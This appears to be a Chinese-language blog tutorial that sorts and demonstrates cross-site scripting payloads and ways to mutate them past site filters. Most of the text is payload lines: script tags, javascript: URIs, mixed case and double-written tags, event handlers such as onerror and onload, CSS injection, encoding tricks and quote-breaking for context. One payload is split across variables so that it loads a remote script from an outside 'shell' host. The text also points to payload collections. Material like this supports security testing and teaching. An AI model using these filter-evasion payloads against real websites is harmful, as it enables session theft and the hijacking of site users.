XSS的payload构造及变形

通常进行XSS脚本攻击时，一般网站都是有防护措施的，比如过滤掉我们script，javascript,或者长度限制等等，这时需要我们对我们的脚本进

行简单的变形，打到我们的目的，下面是我对常见的一些变形的分类，以及部分操作演示

1.使用<>标记插入HTML/js代码，

<script>alert(1)</script>

<script  src="url">alert(1)</script>

2、html标签属性值执行XSS

</img  src="javascript:alert(/xss/)">
<a href="javascript:alert(/xss/)"></a>
<a href="url"></a>

3、使用空格、回车、tab

<img  src="java script:alert(/xss/)">

4、大小写

<ScrIpT>alert(1)</sCRiPt>

5、双写（重复写产生就页面只会过滤一次，我们多写一次就行了，如下

<ScrScrpitIpT>alert(1)</SscriptCRiPt>

6、利用自己事件去构造payload，常见有 onclick、 onmouseover 、onerror 、 onload、等等

<input type="button" value="click" onclick="alert('xss')" />
<img  src=#    onerror=alert(1)>

<img src="#" onerror=alert('xss')>

<BODY+ONLOAD=alert(514)>

7、拆分

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval_r(z)</script>

8、CSS中构造XSS payload**

　<div style="background-image:url(javascript:alert('xss'))">
　<div style="list-style-image:url(javascript:alert('xss'))">
<link  rel="stylesheet" href="http://www.xxx.com/attach.css">
http://www.xxx.com/attach.css中插入恶意代码
<link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(369))%7d

9.字符编码（这里给推荐二个加密网站：http://ctf.ssleye.com/，或者http://xssor.io/），URL、ASCII、HTML、Characters编码、十六进制、十进制、Unicode、混合编码、CSS编码

<a href="document.writeln("javascript:alert(\/xss\/)");"></a>

10、根据上下文构造payload（这种应该是最实用的，但是需要我们有熟练的js语言基础），如

我们看到这里是有XSS注入点，但是他是在里面，就急需要我们，先吧前面的双引号闭合了，然后再把前面的<闭合了，如此来构成payload

"><input type="button" value="click" onclick="alert('xss')" />

以上就是我们XSS的payload的大致分类，只是部分示例， 我们可以去github上面去下载一些XSS的payload,根据自己网页做适当的调整，链接地址：https://github.com/Pgaijin66/XSS-Payloads